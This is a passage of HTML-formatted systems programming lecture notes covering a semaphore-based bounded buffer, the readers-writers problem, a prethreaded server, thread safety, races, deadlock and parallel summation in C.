  int *buf;    /* Buffer array */
  int n;       /* Maximum number of slots */
  int front;   /* buf[(front+1)%n] is first item */
  int rear;    /* buf[rear%n] is last item */
  sem_t mutex; /* Protects accesses to buf */
  sem_t slots; /* Counts available slots */
  sem_t items; /* Counts available items */
} sbuf_t;

void sbuf_init(sbuf_t *sp, int n);
void sbuf_deinit(sbuf_t *sp);
void sbuf_insert(sbuf_t *sp, int item);
int sbuf_remove(sbuf_t *sp);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* Create an empty, bounded, shared FIFO buffer with n slots */
void sbuf_init(sbuf_t *sp, int n) {
  sp-&amp;gt;buf = calloc(n, sizeof(int));
  sp-&amp;gt;n = n;                  /* Buffer holds max of n items */
  sp-&amp;gt;front = sp-&amp;gt;rear = 0;   /* Empty buffer iff front == rear */
  sem_init(&amp;amp;sp-&amp;gt;mutex, 0, 1); /* Binary semaphore for locking */
  sem_init(&amp;amp;sp-&amp;gt;slots, 0, n); /* Initially, buf has n empty slots */
  sem_init(&amp;amp;sp-&amp;gt;items, 0, 0); /* Initially, buf has 0 items */
}

/* Clean up buffer sp */
void sbuf_deinit(sbuf_t *sp) {
  free(sp-&amp;gt;buf);
}

/* Insert item onto the rear of shared buffer sp */
void sbuf_insert(sbuf_t *sp, int item) {
  P(&amp;amp;sp-&amp;gt;slots);                        /* Wait for available slot */
  P(&amp;amp;sp-&amp;gt;mutex);                        /* Lock the buffer */
  sp-&amp;gt;buf[(++sp-&amp;gt;rear)%(sp-&amp;gt;n)] = item; /* Insert the item */
  V(&amp;amp;sp-&amp;gt;mutex);                        /* Unlock the buffer */
  V(&amp;amp;sp-&amp;gt;items);                        /* Announce available item */
}

/* Remove and return the first item from buffer sp */
int sbuf_remove(sbuf_t *sp) {
  int item;
  P(&amp;amp;sp-&amp;gt;items);                         /* Wait for available item */
  P(&amp;amp;sp-&amp;gt;mutex);                         /* Lock the buffer */
  item = sp-&amp;gt;buf[(++sp-&amp;gt;front)%(sp-&amp;gt;n)]; /* Remove the item */
  V(&amp;amp;sp-&amp;gt;mutex);                         /* Unlock the buffer */
  V(&amp;amp;sp-&amp;gt;slots);                         /* Announce available slot */
  return item;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Readers-Writers Problem&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Generalization of the mutual exclusion problem&lt;/li&gt;
&lt;li&gt;Problem statement:
&lt;ul&gt;
&lt;li&gt;Reader threads only read the object&lt;/li&gt;
&lt;li&gt;Writer threads modify the object&lt;/li&gt;
&lt;li&gt;Writers must have exclusive access to the object&lt;/li&gt;
&lt;li&gt;Unlimited number of readers can access the object&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Occurs frequently in real systems:
&lt;ul&gt;
&lt;li&gt;Online airline reservation system&lt;/li&gt;
&lt;li&gt;Multithreaded caching Web proxy&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Variants of Readers-Writers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;First readers-writers problem (favors readers)
&lt;ul&gt;
&lt;li&gt;No reader should be kept waiting unless a writer has already been granted permission to use the object&lt;/li&gt;
&lt;li&gt;A reader that arrives after a waiting writer gets priority over the writer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Second readers-writers problem (favors writers)
&lt;ul&gt;
&lt;li&gt;Once a writer is ready to write, it performs its write as soon as possible&lt;/li&gt;
&lt;li&gt;A reader that arrives after a writer must wait, even if the writer is also waiting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Starvation (where a thread waits indefinitely) is possible in both cases&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Solution to First Readers-Writers Problem&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int readcnt; /* Initially = 0 */
sem_t mutex, w; /* Initially = 1 */

void reader(void) {
  while (1) {
    P(&amp;amp;mutex);
    readcnt++;
    if (readcnt == 1) /* First in */
      P(&amp;amp;w);
    V(&amp;amp;mutex);

    /* Critical section */
    /* Reading happens */

    P(&amp;amp;mutex);
    readcnt--;
    if (readcnt == 0) /* Last out */
      V(&amp;amp;w);
    V(&amp;amp;mutex);
  }
}

void writer(void) {
  while (1) {
    P(&amp;amp;w);

    /* Critical section */
    /* Writing happens */

    V(&amp;amp;w);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Putting It All Together: Prethreaded Concurrent Server&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51egwy30p4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Prethreaded Concurrent Server&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

sbuf_t sbuf; /* Shared buffer of connected descriptors */

int main(int argc, char **argv) {
  int i, listenfd, connfd;
  socklen_t clientlen;
  struct sockaddr_storage clientaddr;
  pthread_t tid;

  listenfd = open_listenfd(argv[1]);
  sbuf_init(&amp;amp;sbuf, SBUFSIZE);
  for (i = 0; i &amp;lt; NTHREADS; i++) /* Create worker threads */
    pthread_create(&amp;amp;tid, NULL, thread, NULL);
  while (1) {
    clientlen = sizeof(struct sockaddr_storage);
    connfd = accept(listenfd, (SA *)&amp;amp;clientaddr, &amp;amp;clientlen);
    sbuf_insert(&amp;amp;sbuf, connfd); /* Insert connfd in buffer */
  }
}

void *thread(void *vargp) {
  pthread_detach(pthread_self());
  while (1) {
    int connfd = sbuf_remove(&amp;amp;sbuf); /* Remove connfd from buf */
    echo_cnt(connfd);                /* Service client */
    close(connfd);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* echo_cnt initialization routine */
static int byte_cnt; /* Byte counter */
static sem_t mutex;  /* and the mutex that protects it */

static void init_echo_cnt(void) {
  sem_init(&amp;amp;mutex, 0, 1);
  byte_cnt = 0;
}

/* Worker thread service routine */
void echo_cnt(int connfd) {
  int n;
  char buf[MAXLINE];
  rio_t rio;
  static pthread_once_t once = PTHREAD_ONCE_INIT;

  pthread_once(&amp;amp;once, init_echo_cnt);
  rio_readinitb(&amp;amp;rio, connfd);
  while((n = rio_readlineb(&amp;amp;rio, buf, MAXLINE)) != 0) {
    P(&amp;amp;mutex);
    byte_cnt += n;
    printf(&quot;thread %d received %d (%d total) bytes on fd %d\n&quot;, (int)pthread_self(), n, byte_cnt, connfd);
    V(&amp;amp;mutex);
    rio_writen(connfd, buf, n);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Crucial concept: Thread Safety&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Functions called from a thread must be &lt;em&gt;thread‐safe&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Def: A function is thread-safe iff it will always produce correct results when called repeatedly from multiple concurrent threads&lt;/li&gt;
&lt;li&gt;Classes of thread-unsafe functions:
&lt;ul&gt;
&lt;li&gt;Class 1: Functions that do not protect shared variables&lt;/li&gt;
&lt;li&gt;Class 2: Functions that keep state across multiple invocations&lt;/li&gt;
&lt;li&gt;Class 3: Functions that return a pointer to a static variable&lt;/li&gt;
&lt;li&gt;Class 4: Functions that call thread-unsafe functions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Thread-Unsafe Functions (Class 1)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Failing to protect shared variables
&lt;ul&gt;
&lt;li&gt;Fix: Use &lt;strong&gt;P&lt;/strong&gt; and &lt;strong&gt;V&lt;/strong&gt; semaphore operations&lt;/li&gt;
&lt;li&gt;Issue: Synchronization operations will slow down code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Thread-Unsafe Functions (Class 2)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Relying on persistent state across multiple function invocations
&lt;ul&gt;
&lt;li&gt;Example: Random number generator that relies on static state&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;static unsigned int next = 1;

/* rand: return pseudo-random integer on 0..32767 */
int rand(void) {
  next = next*1103515245 + 12345;
  return (unsigned int)(next/65536) % 32768;
}

/* srand: set seed for rand() */
void srand(unsigned int seed) {
  next = seed;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Thread-Safe Random Number Generator&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Pass state as part of argument
&lt;ul&gt;
&lt;li&gt;and, thereby, eliminate global state&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* rand_r - return pseudo-random integer on 0..32767 */

int rand_r(int *nextp) {
  *nextp = *nextp * 1103515245 + 12345;
  return (unsigned int)(*nextp/65536) % 32768;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Consequence: programmer using &lt;strong&gt;rand_r&lt;/strong&gt; must maintain seed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Thread-Unsafe Functions (Class 3)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Returning a pointer to a static variable&lt;/li&gt;
&lt;li&gt;Fix 1. Rewrite function so caller passes address of variable to store result
&lt;ul&gt;
&lt;li&gt;Requires changes in caller and callee&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Fix 2. Lock-and‐copy
&lt;ul&gt;
&lt;li&gt;Requires simple changes in caller (and none in callee)&lt;/li&gt;
&lt;li&gt;However, caller must free memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* lock-and-copy version */
char *ctime_ts(const time_t *timep, char *privatep) {
  char *sharedp;

  P(&amp;amp;mutex);
  sharedp = ctime(timep);
  strcpy(privatep, sharedp);
  V(&amp;amp;mutex);
  return privatep;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Thread-Unsafe Functions (Class 4)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Calling thread-unsafe functions
&lt;ul&gt;
&lt;li&gt;Calling one thread-unsafe function makes the entire function that calls it thread-unsafe&lt;/li&gt;
&lt;li&gt;Fix: Modify the function so it calls only thread-safe functions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Reentrant Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Def: A function is &lt;em&gt;reentrant&lt;/em&gt; iff it accesses no shared variables when called by multiple threads
&lt;ul&gt;
&lt;li&gt;Important subset of thread-safe functions
&lt;ul&gt;
&lt;li&gt;Require no synchronization operations&lt;/li&gt;
&lt;li&gt;Only way to make a Class 2 function thread-safe is to make it reetnrant (e.g., &lt;strong&gt;rand_r&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gopxkdcbi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Thread-Safe Library Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;All functions in the Standard C Library (at the back of your K&amp;amp;R text) are thread-safe
&lt;ul&gt;
&lt;li&gt;Examples: &lt;strong&gt;malloc&lt;/strong&gt;, &lt;strong&gt;free&lt;/strong&gt;, &lt;strong&gt;printf&lt;/strong&gt;, &lt;strong&gt;scanf&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Most Unix system calls are thread-safe, with a few exceptions:&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Thread-unsafe function&lt;/th&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Reentrant version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asctime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;asctime_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ctime_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gethostbyaddr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gethostbyaddr_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gethostbyname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;gethostbyname_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;inet_ntoa&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;localtime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;localtime_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rand&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rand_r&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Races&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;race&lt;/em&gt; occurs when correctness of the program depends on one thread reaching point &lt;em&gt;x&lt;/em&gt; before another thread reaches point &lt;em&gt;y&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp);

/* A threaded program with a race */
int main() {
  pthread_t tid[N];
  int i;

  for (i = 0; i &amp;lt; N; i++)
    pthread_create(&amp;amp;tid[i], NULL, thread, &amp;amp;i);
  for (i = 0; i &amp;lt; N; i++)
    pthread_join(tid[i], NULL);
  exit(0);
}

/* Thread routine */
void *thread(void *vargp) {
  int myid = *((int *)vargp);
  printf(&quot;Hello from thread %d\n&quot;, myid);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Race Illustration&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;for (i = 0; i &amp;lt; N; i++)
  pthread_create(&amp;amp;tid[i], NULL, thread, &amp;amp;i);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a295pdt6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Race between increment of &lt;em&gt;i&lt;/em&gt; in main thread and deref of &lt;em&gt;vargp&lt;/em&gt; in peer thread:
&lt;ul&gt;
&lt;li&gt;If deref happens while &lt;code&gt;i = 0&lt;/code&gt;, then OK&lt;/li&gt;
&lt;li&gt;Otherwise, peer thread gets wrong id value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Could this race really occur ?&lt;/h3&gt;
&lt;p&gt;Main thread:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int i;
for (i = 0; i &amp;lt; 100; i++) {
  pthread_create(&amp;amp;tid, NULL, thread, &amp;amp;i);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Peer thread:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *thread(void *vargp) {
  pthread_detach(pthread_self());
  int i = *((int *)vargp);
  save_value(i);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Race Test
&lt;ul&gt;
&lt;li&gt;If no race, then each thread would get different value of &lt;em&gt;i&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Set of saved values would consist of one copy each of 0 through 99&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Experimental Results&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102hintuxg.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Race Elimination&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Threaded program without the race */
int main() {
  pthread_t tid[N];
  int i, *ptr;

  for (i = 0; i &amp;lt; N; i++) {
    ptr = malloc(sizeof(int));
    *ptr = i;
    pthread_create(&amp;amp;tid[i], NULL, thread, ptr);
  }
  for (i = 0; i &amp;lt; N; i++)
    pthread_join(tid[i], NULL);
  exit(0);
}

/* Thread routine */
void *thread(void *vargp) {
  int myid = *((int *)vargp);
  free(vargp);
  printf(&quot;Hello from thread %d\n&quot;, myid);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deadlock&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Def: A process is deadlocked iff it is waiting for a condition that will never be true&lt;/li&gt;
&lt;li&gt;Typical Scenario:
&lt;ul&gt;
&lt;li&gt;Processes 1 and 2 needs two resources (A and B) to proceed&lt;/li&gt;
&lt;li&gt;Process 1 acquires A, waits for B&lt;/li&gt;
&lt;li&gt;Process 2 acquires B, waits for A&lt;/li&gt;
&lt;li&gt;Both will wait forever !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Deadlocking With Semaphores&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void *count(void *vargp);

int main() {
  pthread_t tid[2];
  sem_init(&amp;amp;mutex[0], 0, 1); /* mutex[0] = 1 */
  sem_init(&amp;amp;mutex[1], 0, 1); /* mutex[1] = 1 */
  pthread_create(&amp;amp;tid[0], NULL, count, (void*)0);
  pthread_create(&amp;amp;tid[1], NULL, count, (void*)1);
  pthread_join(tid[0], NULL);
  pthread_join(tid[1], NULL);
  printf(&quot;cnt=%d\n&quot;, cnt);
  exit(0);
}

void *count(void *vargp) {
  int i;
  int id = (int)vargp;
  for (i = 0; i &amp;lt; NITERS; i++) {
    P(&amp;amp;mutex[id]); P(&amp;amp;mutex[1-id]);
    cnt++;
    V(&amp;amp;mutex[id]); V(&amp;amp;mutex[1-id]);
  }
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Deadlock Visualized in Progress Graph&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.b97yq3ac7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Locking introduces the potential for &lt;em&gt;deadlock&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Any trajectory that enters the &lt;em&gt;deadlock region&lt;/em&gt; will eventually reach the &lt;em&gt;deadlock state&lt;/em&gt;, waiting for either $S_{0}$ or $S_{1}$ to become nonzero&lt;/li&gt;
&lt;li&gt;Other trajectories luck out and skirt the deadlock region&lt;/li&gt;
&lt;li&gt;Unfortunate fact: deadlock is often nondeterministic (race)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Avoiding Deadlock: Acquire shared resources in same order&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  pthread_t tid[2];
  sem_init(&amp;amp;mutex[0], 0, 1); /* mutex[0] = 1 */
  sem_init(&amp;amp;mutex[1], 0, 1); /* mutex[1] = 1 */
  pthread_create(&amp;amp;tid[0], NULL, count, (void*) 0);
  pthread_create(&amp;amp;tid[1], NULL, count, (void*) 1);
  pthread_join(tid[0], NULL);
  pthread_join(tid[1], NULL);
  printf(&quot;cnt=%d\n&quot;, cnt);
  exit(0);
}

void *count(void *vargp) {
  int i;
  int id = (int) vargp;
  for (i = 0; i &amp;lt; NITERS; i++) {
    P(&amp;amp;mutex[0]); P(&amp;amp;mutex[1]);
    cnt++;
    V(&amp;amp;mutex[id]); V(&amp;amp;mutex[1-id]);
  }
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Avoided Deadlock in Progress Graph&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgi04fb70.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No way for trajectory to get stuck&lt;/li&gt;
&lt;li&gt;Processes acquire locks in same order&lt;/li&gt;
&lt;li&gt;Order in which locks released immaterial&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Thread-Level Parallelism&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Parallel Computing Hardware
&lt;ul&gt;
&lt;li&gt;Multicore
&lt;ul&gt;
&lt;li&gt;Multiple separate processors on single chip&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hyperthreading
&lt;ul&gt;
&lt;li&gt;Efficient execution of multiple threads on single core&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Typical Multicore Processor&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vn8gw7tpk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiple processors operating with coherent view of memory&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Out-of-Order Processor Structure&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f101z48kj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Instruction control dynamically converts program into stream of operations&lt;/li&gt;
&lt;li&gt;Operations mapped onto functional units to execute in parallel&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hyperthreading Implementation&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obugqgy9n.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Replicate enough instruction control to process K instruction streams&lt;/li&gt;
&lt;li&gt;K copies of all registers&lt;/li&gt;
&lt;li&gt;Share functional units&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example: Parallel Summation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Sum numbers $0,...,n-1$
&lt;ul&gt;
&lt;li&gt;Should add up to $\displaystyle \frac{n( n-1)}{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Partition values $0,...,n-1$ into &lt;em&gt;t&lt;/em&gt; ranges
&lt;ul&gt;
&lt;li&gt;$\lfloor n/t\rfloor $ values in each range&lt;/li&gt;
&lt;li&gt;Each of &lt;em&gt;t&lt;/em&gt; threads processes 1 range&lt;/li&gt;
&lt;li&gt;For simplicity, assume &lt;em&gt;n&lt;/em&gt; is a multiple of &lt;em&gt;t&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;First attempt: psum-mutex&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Simplest approach: Threads sum into a global variable protected by a semaphore mutex&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void *sum_mutex(void *vargp);

long gsum = 0;          /* Global sum */
long nelems_per_thread; /* Number of elements to sum */
sem_t mutex;            /* Mutex to protect global sum */

int main(int argc, char **argv) {
  long i, nelems, log_nelems, nthreads, myid[MAXTHREADS];
  pthread_t tid[MAXTHREADS];
  /* Get input arguments */
  nthreads = atoi(argv[1]);
  log_nelems = atoi(argv[2]);
  nelems = (1L &amp;lt;&amp;lt; log_nelems);
  nelems_per_thread = nelems / nthreads;
  sem_init(&amp;amp;mutex, 0, 1);

  /* Create peer threads and wait for them to finish */
  for (i = 0; i &amp;lt; nthreads; i++) {
    myid[i] = i;
    pthread_create(&amp;amp;tid[i], NULL, sum_mutex, &amp;amp;myid[i]);
  }

  for (i = 0; i &amp;lt; nthreads; i++)
    pthread_join(tid[i], NULL);

  /* Check final answer */
  if (gsum != (nelems * (nelems-1))/2)
    printf(&quot;Error: result=%ld\n&quot;, gsum);
  exit(0);
}

void *sum_mutex(void *vargp) {
  long myid = *((long *)vargp);          /* Extract thread ID */
  long start = myid * nelems_per_thread; /* Start element index */
  long end = start + nelems_per_thread;  /* End element index */
  long i;

  for (i = start; i &amp;lt; end; i++) {
    P(&amp;amp;mutex);
    gsum += i;
    V(&amp;amp;mutex);
  }
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;psum-mutex Performance&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Shark machine with 8 cores, $n=2^{31}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1hsj867jxo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nasty surprise:
&lt;ul&gt;
&lt;li&gt;Single thread is very slow&lt;/li&gt;
&lt;li&gt;Gets slower as we use more cores&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Next Attempt: psum-array&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Peer thread &lt;em&gt;i&lt;/em&gt; sums into global array element &lt;em&gt;psum[i]&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Main waits for threads to finish, then sums elements of &lt;em&gt;psum&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Eliminates need for mutex synchronization&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void *sum_array(void *vargp) {
  long myid = *((long *)vargp);          /* Extract thread ID */
  long start = myid * nelems_per_thread; /* Start element index */
  long end = start + nelems_per_thread;  /* End element index */
  long i;

  for (i = start; i &amp;lt; end; i++) {
    psum[myid] += i;
  }
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;psum-array Performance&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Orders of magnitude faster than &lt;strong&gt;psum-mutex&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3mj82urh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Next Attempt: psum-local&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Reduce memory references by having peer thread &lt;em&gt;i&lt;/em&gt; sum into a local variable (register)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void *sum_local(void *vargp) {
  long myid = *((long *)vargp);          /* Extract thread ID */
  long start = myid * nelems_per_thread; /* Start element index */
  long end = start + nelems_per_thread;  /* End element index */
  long i, sum = 0;

  for (i = start; i &amp;lt; end; i++) {
    sum += i;
  }
  psum[myid] = sum;
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;psum-local Performance&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Significantly faster than &lt;strong&gt;psum-array&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snj6299lj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Characterizing Parallel Program Performance&lt;/h2&gt;
&lt;ul&gt;
